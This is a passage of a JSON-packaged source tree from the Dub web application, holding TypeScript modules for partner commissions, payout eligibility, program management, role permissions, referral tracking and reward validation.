    "content": "import { publishPartnerActivityEvent } from \"@/lib/upstash/redis-streams\";\nimport { prisma } from \"@dub/prisma\";\n\nasync function aggregateAndUpdateTotalCommissions({\n  partnerId,\n  programId,\n}: {\n  partnerId: string;\n  programId: string;\n}) {\n  return await prisma.$transaction(async (tx) => {\n    const totalCommissions = await tx.commission.aggregate({\n      where: {\n        earnings: { not: 0 },\n        programId,\n        partnerId,\n        status: { in: [\"pending\", \"processed\", \"paid\"] },\n      },\n      _sum: { earnings: true },\n    });\n    console.log(\n      `Updating total commissions for partner ${partnerId} in program ${programId} to ${totalCommissions._sum.earnings || 0}`,\n    );\n\n    return await tx.programEnrollment.update({\n      where: {\n        partnerId_programId: { partnerId, programId },\n      },\n      data: {\n        totalCommissions: totalCommissions._sum.earnings || 0,\n      },\n    });\n  });\n}\n\n// syncs the total commissions for a partner in a program\nexport const syncTotalCommissions = async ({\n  partnerId,\n  programId,\n  mode = \"queue\",\n}: {\n  partnerId: string;\n  programId: string;\n  mode?: \"queue\" | \"direct\";\n}) => {\n  if (mode === \"direct\") {\n    return await aggregateAndUpdateTotalCommissions({ partnerId, programId });\n  }\n  try {\n    return await publishPartnerActivityEvent({\n      programId,\n      partnerId,\n      eventType: \"commission\",\n      timestamp: new Date().toISOString(),\n    });\n  } catch (error) {\n    console.error(\n      `[syncTotalCommissionsError]: Failed to sync total commissions for partner ${partnerId} in program ${programId}, falling back to direct database update...`,\n      error,\n    );\n\n    return await aggregateAndUpdateTotalCommissions({ partnerId, programId });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/partners/throw-if-existing-tenant-id-exists.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\n// check if the tenantId already exists for a different enrolled partner\n// if so, throw an error\nexport const throwIfExistingTenantEnrollmentExists = async ({\n  tenantId,\n  programId,\n}: {\n  tenantId: string;\n  programId: string;\n}) => {\n  const existingTenantEnrollment = await prisma.programEnrollment.findUnique({\n    where: {\n      tenantId_programId: {\n        tenantId,\n        programId,\n      },\n    },\n  });\n\n  if (existingTenantEnrollment) {\n    throw new DubApiError({\n      message: `The tenantId '${tenantId}' is already in associated with another partner in this program.`,\n      code: \"conflict\",\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/payouts/get-effective-payout-mode.ts",
    "content": "import { PayoutMode, ProgramPayoutMode } from \"@dub/prisma/client\";\n\nexport function getEffectivePayoutMode({\n  payoutMode,\n  payoutsEnabledAt,\n}: {\n  payoutMode: ProgramPayoutMode | null;\n  payoutsEnabledAt: Date | null;\n}): PayoutMode {\n  switch (payoutMode) {\n    case \"internal\":\n      return \"internal\";\n    case \"external\":\n      return \"external\";\n    case \"hybrid\":\n      return payoutsEnabledAt === null ? \"external\" : \"internal\";\n    default:\n      throw new Error(`Invalid payout mode: ${payoutMode}`);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/payouts/get-eligible-payouts.ts",
    "content": "import { CUTOFF_PERIOD } from \"@/lib/partners/cutoff-period\";\nimport {\n  eligiblePayoutsQuerySchema,\n  PayoutResponseSchema,\n} from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program, Project } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getEffectivePayoutMode } from \"./get-effective-payout-mode\";\nimport { getPayoutEligibilityFilter } from \"./payout-eligibility-filter\";\n\ninterface GetEligiblePayoutsProps\n  extends Omit<\n    z.infer<typeof eligiblePayoutsQuerySchema>,\n    \"excludedPayoutIds\"\n  > {\n  excludedPayoutIds?: string[];\n  program: Pick<Program, \"id\" | \"name\" | \"minPayoutAmount\" | \"payoutMode\">;\n  workspace: Pick<Project, \"plan\">;\n}\n\nexport async function getEligiblePayouts({\n  program,\n  workspace,\n  cutoffPeriod,\n  selectedPayoutId,\n  excludedPayoutIds,\n  pageSize,\n  page = 1,\n}: GetEligiblePayoutsProps) {\n  const cutoffPeriodValue = CUTOFF_PERIOD.find(\n    (c) => c.id === cutoffPeriod,\n  )?.value;\n\n  let payouts = await prisma.payout.findMany({\n    where: {\n      ...(selectedPayoutId\n        ? { id: selectedPayoutId }\n        : excludedPayoutIds && excludedPayoutIds.length > 0\n          ? { id: { notIn: excludedPayoutIds } }\n          : {}),\n      ...getPayoutEligibilityFilter({ program, workspace }),\n    },\n    include: {\n      partner: {\n        include: {\n          programs: {\n            where: {\n              programId: program.id,\n            },\n            select: {\n              tenantId: true,\n            },\n          },\n        },\n      },\n      ...(cutoffPeriodValue && {\n        commissions: {\n          where: {\n            createdAt: {\n              lt: cutoffPeriodValue,\n            },\n          },\n        },\n      }),\n    },\n    orderBy: {\n      amount: \"desc\",\n    },\n    ...(isFinite(pageSize) && {\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n    }),\n  });\n\n  if (cutoffPeriodValue) {\n    payouts = payouts\n      .map((payout) => {\n        const newPayoutAmount = payout.commissions.reduce((acc, commission) => {\n          return acc + commission.earnings;\n        }, 0);\n\n        return {\n          ...payout,\n          amount: newPayoutAmount,\n        };\n      })\n      .filter((payout) => payout.amount >= program.minPayoutAmount);\n  }\n\n  const eligiblePayouts = payouts.map(({ partner, ...payout }) => ({\n    ...payout,\n    traceId: payout.stripePayoutTraceId,\n    partner: {\n      ...partner,\n      ...partner.programs[0],\n    },\n    mode: getEffectivePayoutMode({\n      payoutMode: program.payoutMode,\n      payoutsEnabledAt: partner.payoutsEnabledAt,\n    }),\n  }));\n\n  return z.array(PayoutResponseSchema).parse(eligiblePayouts);\n}\n"
  },
  {
    "path": "apps/web/lib/api/payouts/get-payout-or-throw.ts",
    "content": "import { PayoutSchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport async function getPayoutOrThrow({\n  payoutId,\n  programId,\n}: {\n  payoutId: string;\n  programId: string;\n}) {\n  const payout = await prisma.payout.findUnique({\n    where: {\n      id: payoutId,\n    },\n  });\n\n  if (!payout) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Payout not found.\",\n    });\n  }\n\n  if (payout.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Payout does not belong to the program.\",\n    });\n  }\n  return PayoutSchema.parse(payout);\n}\n"
  },
  {
    "path": "apps/web/lib/api/payouts/payout-eligibility-filter.ts",
    "content": "import { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { Prisma, Program, Project } from \"@dub/prisma/client\";\n\nexport function getPayoutEligibilityFilter({\n  program,\n  workspace,\n}: {\n  program: Pick<Program, \"id\" | \"minPayoutAmount\" | \"payoutMode\">;\n  workspace: Pick<Project, \"plan\">;\n}): Prisma.PayoutWhereInput {\n  const commonWhere: Prisma.PayoutWhereInput = {\n    programId: program.id,\n    status: \"pending\",\n    invoiceId: null,\n    amount: {\n      gte: program.minPayoutAmount,\n    },\n    // Filter out payouts from partners with pending fraud events (for eligible workspaces)\n    ...(getPlanCapabilities(workspace.plan).canManageFraudEvents && {\n      programEnrollment: {\n        fraudEventGroups: {\n          every: {\n            status: \"resolved\",\n          },\n        },\n      },\n    }),\n  };\n\n  switch (program.payoutMode) {\n    // Internal mode: all payouts are internal, require payoutsEnabledAt !== null\n    case \"internal\":\n      return {\n        ...commonWhere,\n        partner: {\n          payoutsEnabledAt: {\n            not: null,\n          },\n        },\n      };\n\n    // External mode: all payouts are external, require tenantId !== null\n    case \"external\":\n      return {\n        ...commonWhere,\n        programEnrollment: {\n          tenantId: {\n            not: null,\n          },\n        },\n      };\n\n    // Hybrid mode: internal payouts require payoutsEnabledAt !== null, external payouts require tenantId !== null\n    case \"hybrid\":\n      return {\n        ...commonWhere,\n        OR: [\n          {\n            partner: {\n              payoutsEnabledAt: {\n                not: null,\n              },\n            },\n          },\n          {\n            programEnrollment: {\n              tenantId: {\n                not: null,\n              },\n            },\n          },\n        ],\n      };\n\n    default:\n      throw new Error(`Unsupported payout mode: ${program.payoutMode}`);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/postbacks/get-postback-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\ninterface GetPostbackOrThrowParams {\n  postbackId: string;\n  partnerId: string;\n}\n\nexport const getPostbackOrThrow = async ({\n  postbackId,\n  partnerId,\n}: GetPostbackOrThrowParams) => {\n  const postback = await prisma.postback.findUnique({\n    where: {\n      id: postbackId,\n    },\n  });\n\n  if (!postback) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Postback not found.\",\n    });\n  }\n\n  if (postback.partnerId !== partnerId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"Postback does not belong to your partner profile.\",\n    });\n  }\n\n  return postback;\n};\n"
  },
  {
    "path": "apps/web/lib/api/programs/deactivate-program.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\nexport async function deactivateProgram(programId: string) {\n  if (!programId) {\n    throw new Error(\"[deactivateProgram] programId is required\");\n  }\n\n  await prisma.$transaction([\n    prisma.program.update({\n      where: {\n        id: programId,\n      },\n      data: {\n        deactivatedAt: new Date(),\n        // additional fields to reset\n        messagingEnabledAt: null,\n        addedToMarketplaceAt: null,\n        featuredOnMarketplaceAt: null,\n      },\n    }),\n\n    prisma.partnerGroup.updateMany({\n      where: {\n        programId,\n      },\n      data: {\n        applicationFormPublishedAt: null,\n        landerPublishedAt: null,\n        autoApprovePartnersEnabledAt: null,\n      },\n    }),\n  ]);\n\n  const response = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/programs/deactivate`,\n    body: {\n      programId,\n    },\n    deduplicationId: `deactivate-program-${programId}`,\n  });\n\n  console.log(\"[deactivateProgram] Deactivation job enqueued.\", { response });\n\n  return response;\n}\n"
  },
  {
    "path": "apps/web/lib/api/programs/get-default-program-id-or-throw.ts",
    "content": "import { WorkspaceProps } from \"@/lib/types\";\nimport { DubApiError } from \"../errors\";\n\nexport const getDefaultProgramIdOrThrow = (\n  workspace: Pick<WorkspaceProps, \"defaultProgramId\">,\n) => {\n  const programId = workspace.defaultProgramId;\n\n  if (!programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Program not found\",\n    });\n  }\n\n  return programId;\n};\n"
  },
  {
    "path": "apps/web/lib/api/programs/get-program-enrollment-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { DubApiError } from \"../errors\";\n\n// Type-safe version that accepts an include object directly\nexport async function getProgramEnrollmentOrThrow<\n  T extends Prisma.ProgramEnrollmentInclude,\n>({\n  partnerId,\n  programId,\n  include,\n}: {\n  partnerId: string;\n  programId: string;\n  include: T;\n}): Promise<Prisma.ProgramEnrollmentGetPayload<{ include: T }>> {\n  const finalInclude = {\n    ...include,\n    links: include.links\n      ? {\n          orderBy: {\n            createdAt: \"asc\",\n          },\n        }\n      : false,\n  };\n\n  const programEnrollment = programId.startsWith(\"prog_\")\n    ? await prisma.programEnrollment.findUnique({\n        where: {\n          partnerId_programId: {\n            partnerId,\n            programId,\n          },\n        },\n        include: finalInclude,\n      })\n    : await prisma.programEnrollment.findFirst({\n        where: {\n          partnerId,\n          program: {\n            slug: programId,\n          },\n        },\n        include: finalInclude,\n      });\n\n  if (!programEnrollment) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Partner ${partnerId} is not enrolled in program ${programId}.`,\n    });\n  }\n\n  return programEnrollment as Prisma.ProgramEnrollmentGetPayload<{\n    include: T;\n  }>;\n}\n"
  },
  {
    "path": "apps/web/lib/api/programs/get-program-or-throw.ts",
    "content": "import { ProgramSchemaWithInviteEmailData } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../errors\";\n\ntype ProgramWithInclude<T extends Prisma.ProgramInclude = {}> = z.infer<\n  typeof ProgramSchemaWithInviteEmailData\n> &\n  Prisma.ProgramGetPayload<{ include: T }>;\n\nexport async function getProgramOrThrow<T extends Prisma.ProgramInclude = {}>({\n  workspaceId,\n  programId,\n  include,\n}: {\n  workspaceId: string;\n  programId: string;\n  include?: T;\n}): Promise<ProgramWithInclude<T>> {\n  const program = await prisma.program.findUnique({\n    where: {\n      id: programId,\n    },\n    include,\n  });\n\n  if (!program || program.workspaceId !== workspaceId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Program not found.\",\n    });\n  }\n\n  // Transform categories if included\n  const transformedProgram =\n    include?.categories && \"categories\" in program\n      ? {\n          ...program,\n          // @ts-ignore conditionally transforming categories\n          categories: program.categories?.map(({ category }) => category) ?? [],\n        }\n      : program;\n\n  return transformedProgram as ProgramWithInclude<T>;\n}\n"
  },
  {
    "path": "apps/web/lib/api/rbac/permissions.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\n\nexport const PERMISSION_ACTIONS = [\n  \"workspaces.read\",\n  \"workspaces.write\",\n  \"links.read\",\n  \"links.write\",\n  \"tags.read\",\n  \"tags.write\",\n  \"analytics.read\",\n  \"domains.read\",\n  \"domains.write\",\n  \"tokens.read\",\n  \"tokens.write\",\n  \"oauth_apps.read\",\n  \"oauth_apps.write\",\n  \"integrations.read\",\n  \"integrations.write\",\n  \"webhooks.read\",\n  \"webhooks.write\",\n  \"folders.read\",\n  \"folders.write\",\n  \"groups.write\",\n  \"groups.read\",\n  \"messages.read\",\n  \"messages.write\",\n  \"payouts.write\",\n  \"billing.write\",\n] as const;\n\nexport type PermissionAction = (typeof PERMISSION_ACTIONS)[number];\n\nexport const ROLE_PERMISSIONS: {\n  action: PermissionAction;\n  description: string;\n  roles: WorkspaceRole[];\n}[] = [\n  {\n    action: \"links.read\",\n    description: \"access links\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"links.write\",\n    description: \"manage links\",\n    roles: [\"owner\", \"member\"],\n  },\n  {\n    action: \"analytics.read\",\n    description: \"access analytics\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"workspaces.read\",\n    description: \"access workspaces\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"workspaces.write\",\n    description: \"manage workspace settings\",\n    roles: [\"owner\"],\n  },\n  {\n    action: \"domains.read\",\n    description: \"access domains\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"domains.write\",\n    description: \"manage domains\",\n    roles: [\"owner\"],\n  },\n  {\n    action: \"tags.read\",\n    description: \"access tags\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"tags.write\",\n    description: \"manage tags\",\n    roles: [\"owner\", \"member\"],\n  },\n  {\n    action: \"tokens.read\",\n    description: \"access API keys\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"tokens.write\",\n    description: \"manage API keys\",\n    roles: [\"owner\"],\n  },\n  {\n    action: \"oauth_apps.read\",\n    description: \"access OAuth apps\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"oauth_apps.write\",\n    description: \"manage OAuth apps\",\n    roles: [\"owner\"],\n  },\n  {\n    action: \"integrations.read\",\n    description: \"access integrations\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"integrations.write\",\n    description: \"manage integrations\",\n    roles: [\"owner\", \"member\"],\n  },\n  {\n    action: \"webhooks.read\",\n    description: \"access webhooks\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"webhooks.write\",\n    description: \"manage webhooks\",\n    roles: [\"owner\"],\n  },\n  {\n    action: \"folders.read\",\n    description: \"access folders\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"folders.write\",\n    description: \"manage folders\",\n    roles: [\"owner\", \"member\"],\n  },\n  {\n    action: \"payouts.write\",\n    description: \"confirm payouts\",\n    roles: [\"owner\", \"billing\"],\n  },\n  {\n    action: \"billing.write\",\n    description: \"manage billing details\",\n    roles: [\"owner\", \"billing\"],\n  },\n  {\n    action: \"groups.read\",\n    description: \"access groups\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"groups.write\",\n    description: \"manage groups\",\n    roles: [\"owner\", \"member\"],\n  },\n  {\n    action: \"messages.read\",\n    description: \"access messages\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n  },\n  {\n    action: \"messages.write\",\n    description: \"manage messages\",\n    roles: [\"owner\", \"member\"],\n  },\n];\n\n// Get permissions for a role\nexport const getPermissionsByRole = (role: WorkspaceRole) => {\n  return ROLE_PERMISSIONS.filter(({ roles }) => roles.includes(role)).map(\n    ({ action }) => action,\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/api/rbac/resources.ts",
    "content": "export const RESOURCE_KEYS = [\n  \"links\",\n  \"workspaces\",\n  \"analytics\",\n  \"domains\",\n  \"tags\",\n  \"folders\",\n  \"tokens\",\n  \"webhooks\",\n  \"groups\",\n] as const;\n\nexport type ResourceKey = (typeof RESOURCE_KEYS)[number];\n\nexport const RESOURCES: {\n  name: string;\n  key: ResourceKey;\n  description: string;\n}[] = [\n  {\n    name: \"Links\",\n    key: \"links\",\n    description: \"Create, read, update, and delete links\",\n  },\n  {\n    name: \"Analytics\",\n    key: \"analytics\",\n    description: \"Create and read analytics events\",\n  },\n  {\n    name: \"Workspaces\",\n    key: \"workspaces\",\n    description: \"Read, update, and delete workspaces\",\n  },\n  {\n    name: \"Domains\",\n    key: \"domains\",\n    description: \"Create, read, update, and delete domains\",\n  },\n  {\n    name: \"Tags\",\n    key: \"tags\",\n    description: \"Create, read, update, and delete tags\",\n  },\n  {\n    name: \"Folders\",\n    key: \"folders\",\n    description: \"Create, read, update, and delete folders\",\n  },\n];\n"
  },
  {
    "path": "apps/web/lib/api/referrals/get-referral-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\ninterface GetReferralOrThrowParams {\n  referralId: string;\n  programId: string;\n}\n\nexport const getReferralOrThrow = async ({\n  referralId,\n  programId,\n}: GetReferralOrThrowParams) => {\n  const referral = await prisma.partnerReferral.findUnique({\n    where: {\n      id: referralId,\n    },\n    include: {\n      customer: true,\n    },\n  });\n\n  if (!referral) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Partner referral not found.\",\n    });\n  }\n\n  if (referral.programId !== programId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You don't have access to this partner referral.\",\n    });\n  }\n\n  return referral;\n};\n"
  },
  {
    "path": "apps/web/lib/api/referrals/mark-referral-closed-won.ts",
    "content": "\"use server\";\n\nimport { trackSale } from \"@/lib/api/conversions/track-sale\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { ReferralWithCustomer } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\n\ninterface MarkReferralClosedWonInput {\n  workspace: Pick<Project, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  referral: ReferralWithCustomer;\n  saleAmount: number;\n  stripeCustomerId: string | null;\n}\n\n// Mark a partner referral as closed won\nexport const markReferralClosedWon = async ({\n  workspace,\n  referral,\n  saleAmount,\n  stripeCustomerId,\n}: MarkReferralClosedWonInput) => {\n  if (!referral.customer) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This referral does not have a customer associated with it.\",\n    });\n  }\n\n  await trackSale({\n    customerExternalId: referral.customer.externalId,\n    amount: saleAmount,\n    eventName: \"Closed Won\",\n    paymentProcessor: \"custom\",\n    invoiceId: null,\n    metadata: null,\n    rawBody: {},\n    workspace,\n    source: \"submitted\",\n  });\n\n  if (stripeCustomerId) {\n    await prisma.customer.update({\n      where: {\n        id: referral.customerId!,\n      },\n      data: {\n        stripeCustomerId,\n      },\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/referrals/mark-referral-qualified.ts",
    "content": "\"use server\";\n\nimport { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { recordFakeClick } from \"@/lib/tinybird/record-fake-click\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerReferral, Project } from \"@dub/prisma/client\";\nimport { pick } from \"@dub/utils\";\n\ninterface MarkReferralQualifiedInput {\n  workspace: Pick<Project, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  referral: PartnerReferral;\n  externalId: string | null;\n}\n\n// Mark a partner referral as qualified\nexport const markReferralQualified = async ({\n  workspace,\n  referral,\n  externalId,\n}: MarkReferralQualifiedInput) => {\n  // Find the default link for the partner\n  const links = await prisma.link.findMany({\n    where: {\n      programId: referral.programId,\n      partnerId: referral.partnerId,\n    },\n    orderBy: {\n      partnerGroupDefaultLinkId: \"asc\",\n    },\n    take: 1,\n    include: {\n      partner: true,\n    },\n  });\n\n  if (links.length === 0) {\n    console.error(\n      `[markReferralQualified] No links found for partner ${referral.partnerId} in program ${referral.programId}`,\n    );\n    return;\n  }\n\n  const partnerLink = links[0];\n\n  // Record a fake click (use the partner's country if available)\n  const clickEvent = await recordFakeClick({\n    link: pick(partnerLink, [\"id\", \"url\", \"domain\", \"key\", \"projectId\"]),\n    ...(partnerLink.partner?.country && {\n      customer: {\n        country: partnerLink.partner.country,\n      },\n    }),\n  });\n\n  // Track the qualified lead\n  const trackedLead = await trackLead({\n    clickId: clickEvent.click_id,\n    eventName: \"Qualified Lead\",\n    customerExternalId: externalId || referral.email,\n    customerName: referral.name,\n    customerEmail: referral.email,\n    mode: \"wait\",\n    rawBody: {},\n    workspace: pick(workspace, [\"id\", \"stripeConnectId\", \"webhookEnabled\"]),\n    source: \"submitted\",\n  });\n\n  const customer = await prisma.customer.findUniqueOrThrow({\n    where: {\n      projectId_externalId: {\n        projectId: workspace.id,\n        externalId: trackedLead.customer.externalId!,\n      },\n    },\n  });\n\n  await prisma.partnerReferral.update({\n    where: {\n      id: referral.id,\n    },\n    data: {\n      customerId: customer.id,\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/referrals/notify-partner-referral-submitted.ts",
    "content": "import { getCompanyLogoUrl } from \"@/ui/referrals/referral-utils\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerReferralSubmitted from \"@dub/email/templates/partner-referral-submitted\";\nimport { prisma } from \"@dub/prisma\";\nimport { Partner, PartnerReferral, Program } from \"@dub/prisma/client\";\n\nexport async function notifyPartnerReferralSubmitted({\n  referral,\n  program,\n  partner,\n}: {\n  referral: Pick<\n    PartnerReferral,\n    \"id\" | \"name\" | \"email\" | \"company\" | \"formData\"\n  >;\n  program: Pick<Program, \"workspaceId\">;\n  partner: Pick<Partner, \"name\" | \"email\" | \"image\">;\n}) {\n  const workspaceUsers = await prisma.projectUsers.findMany({\n    where: {\n      projectId: program.workspaceId,\n      user: {\n        email: {\n          not: null,\n        },\n        isMachine: false,\n      },\n    },\n    include: {\n      user: {\n        select: {\n          email: true,\n        },\n      },\n      project: {\n        select: {\n          slug: true,\n        },\n      },\n    },\n    take: 100,\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  // Parse formData from JSON\n  const formData = referral.formData as\n    | { label: string; value: unknown }[]\n    | null;\n\n  const emailsRes = await sendBatchEmail(\n    workspaceUsers.map(({ user, project }) => ({\n      subject: \"New partner referral submitted\",\n      variant: \"notifications\",\n      to: user.email!,\n      react: PartnerReferralSubmitted({\n        email: user.email!,\n        workspace: {\n          slug: project.slug,\n        },\n        referral: {\n          id: referral.id,\n          name: referral.name,\n          email: referral.email,\n          company: referral.company,\n          image: getCompanyLogoUrl(referral.email),\n          formData,\n        },\n        partner: {\n          name: partner.name,\n          email: partner.email,\n          image: partner.image,\n        },\n      }),\n    })),\n  );\n\n  console.log(`Resend email sent: ${JSON.stringify(emailsRes, null, 2)}`);\n}\n"
  },
  {
    "path": "apps/web/lib/api/referrals/notify-referral-status-update.ts",
    "content": "import { ReferralStatusBadges } from \"@/ui/referrals/referral-status-badges\";\nimport { getCompanyLogoUrl } from \"@/ui/referrals/referral-utils\";\nimport { sendEmail } from \"@dub/email\";\nimport ReferralStatusUpdate from \"@dub/email/templates/referral-status-update\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerReferral } from \"@dub/prisma/client\";\n\nexport async function notifyReferralStatusUpdate({\n  referral,\n  notes,\n}: {\n  referral: PartnerReferral;\n  notes?: string | null;\n}) {\n  const [program, partner] = await Promise.all([\n    prisma.program.findUnique({\n      where: {\n        id: referral.programId,\n      },\n      select: {\n        name: true,\n        slug: true,\n      },\n    }),\n\n    prisma.partner.findUnique({\n      where: {\n        id: referral.partnerId,\n      },\n      select: {\n        name: true,\n        email: true,\n      },\n    }),\n  ]);\n\n  if (!program || !partner) return;\n\n  const statusLabel = ReferralStatusBadges[referral.status].label;\n\n  const emailRes = await sendEmail({\n    subject: `Your referral status has been updated to ${statusLabel}`,\n    variant: \"notifications\",\n    to: partner.email!,\n    react: ReferralStatusUpdate({\n      partner: {\n        name: partner.name,\n        email: partner.email!,\n      },\n      program: {\n        name: program.name,\n        slug: program.slug,\n      },\n      referral: {\n        name: referral.name,\n        email: referral.email,\n        company: referral.company,\n        image: getCompanyLogoUrl(referral.email),\n        status: statusLabel,\n      },\n      notes,\n    }),\n  });\n\n  console.log(`Resend email sent: ${JSON.stringify(emailRes, null, 2)}`);\n}\n"
  },
  {
    "path": "apps/web/lib/api/rewards/validate-reward.ts",
    "content": "import {\n  createOrUpdateRewardSchema,\n  rewardConditionsArraySchema,\n} from \"@/lib/zod/schemas/rewards\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../errors\";\n\nexport function validateReward(\n  reward: Partial<z.infer<typeof createOrUpdateRewardSchema>>,\n) {\n  if (reward.event === \"click\" || reward.event === \"lead\") {\n    if (reward.type === \"percentage\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Percentage rewards are not allowed for click and lead events.\",\n      });\n    }\n\n    if (reward.amountInCents == null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"amountInCents must be provided for click and lead events.\",\n      });\n    }\n\n    if (reward.amountInPercentage != null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"amountInPercentage is not allowed for click and lead events.\",\n      });\n    }\n  }\n\n  if (reward.event === \"sale\") {\n    if (reward.amountInCents != null && reward.amountInPercentage != null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"amountInCents and amountInPercentage cannot be used together.\",\n      });\n    }\n\n    if (reward.amountInCents == null && reward.amountInPercentage == null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"amountInCents or amountInPercentage must be provided.\",\n      });\n    }\n\n    if (reward.type === \"flat\" && reward.amountInCents == null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"amountInCents must be provided when type is 'flat'.\",\n      });\n    }\n\n    if (reward.type === \"percentage\" && reward.amountInPercentage == null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"amountInPercentage must be provided when type is 'percentage'.\",\n      });\n    }\n  }\n\n  if (reward.modifiers != null) {\n    const parsedModifiers = rewardConditionsArraySchema.safeParse(\n      reward.modifiers,\n    );\n\n    if (parsedModifiers.success) {\n      parsedModifiers.data.forEach((modifier, index) => {\n        if (modifier.type == null) {\n          throw new DubApiError({\n            code: \"bad_request\",\n            message: `Modifier ${index + 1}: type must be provided.`,\n          });\n        }\n\n        if (\n          modifier.amountInCents == null &&\n          modifier.amountInPercentage == null\n        ) {\n          throw new DubApiError({\n            code: \"bad_request\",\n            message: `Modifier ${index + 1}: amountInCents or amountInPercentage must be provided.`,\n          });\n        }\n\n        if (\n          modifier.amountInCents != null &&\n          modifier.amountInPercentage != null\n        ) {\n          throw new DubApiError({\n            code: \"bad_request\",\n            message: `Modifier ${index + 1}: amountInCents and amountInPercentage cannot be used together.`,\n          });\n        }\n\n        if (modifier.type === \"flat\") {\n          if (modifier.amountInCents == null) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message: `Modifier ${index + 1}: amountInCents must be provided when type is 'flat'.`,\n            });\n          }\n        }\n\n        if (modifier.type === \"percentage\") {\n          if (modifier.amountInPercentage == null) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message: `Modifier ${index + 1}: amountInPercentage must be provided when type is 'percentage'.`,\n            });\n          }\n        }\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/sales/calculate-sale-earnings.ts",
    "content": "import { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { RewardProps } from \"@/lib/types\";\nimport { Commission } from \"@dub/prisma/client\";\n\n/* \n  Calculate the commission earned for a sale\n*/\nexport const calculateSaleEarnings = ({\n  reward,\n  sale,\n}: {\n  reward: Pick<RewardProps, \"type\" | \"amountInCents\" | \"amountInPercentage\">;\n  sale: Pick<Commission, \"quantity\" | \"amount\">;\n}) => {\n  if (!reward) {\n    return 0;\n  }\n\n  const amount = getRewardAmount(reward);\n\n  if (reward.type === \"flat\") {\n    return sale.quantity * amount;\n  } else if (reward.type === \"percentage\") {\n    return sale.amount * (amount / 100);\n  }\n\n  return 0;\n};\n"
  },
  {
    "path": "apps/web/lib/api/sales/construct-discount-amount.ts",
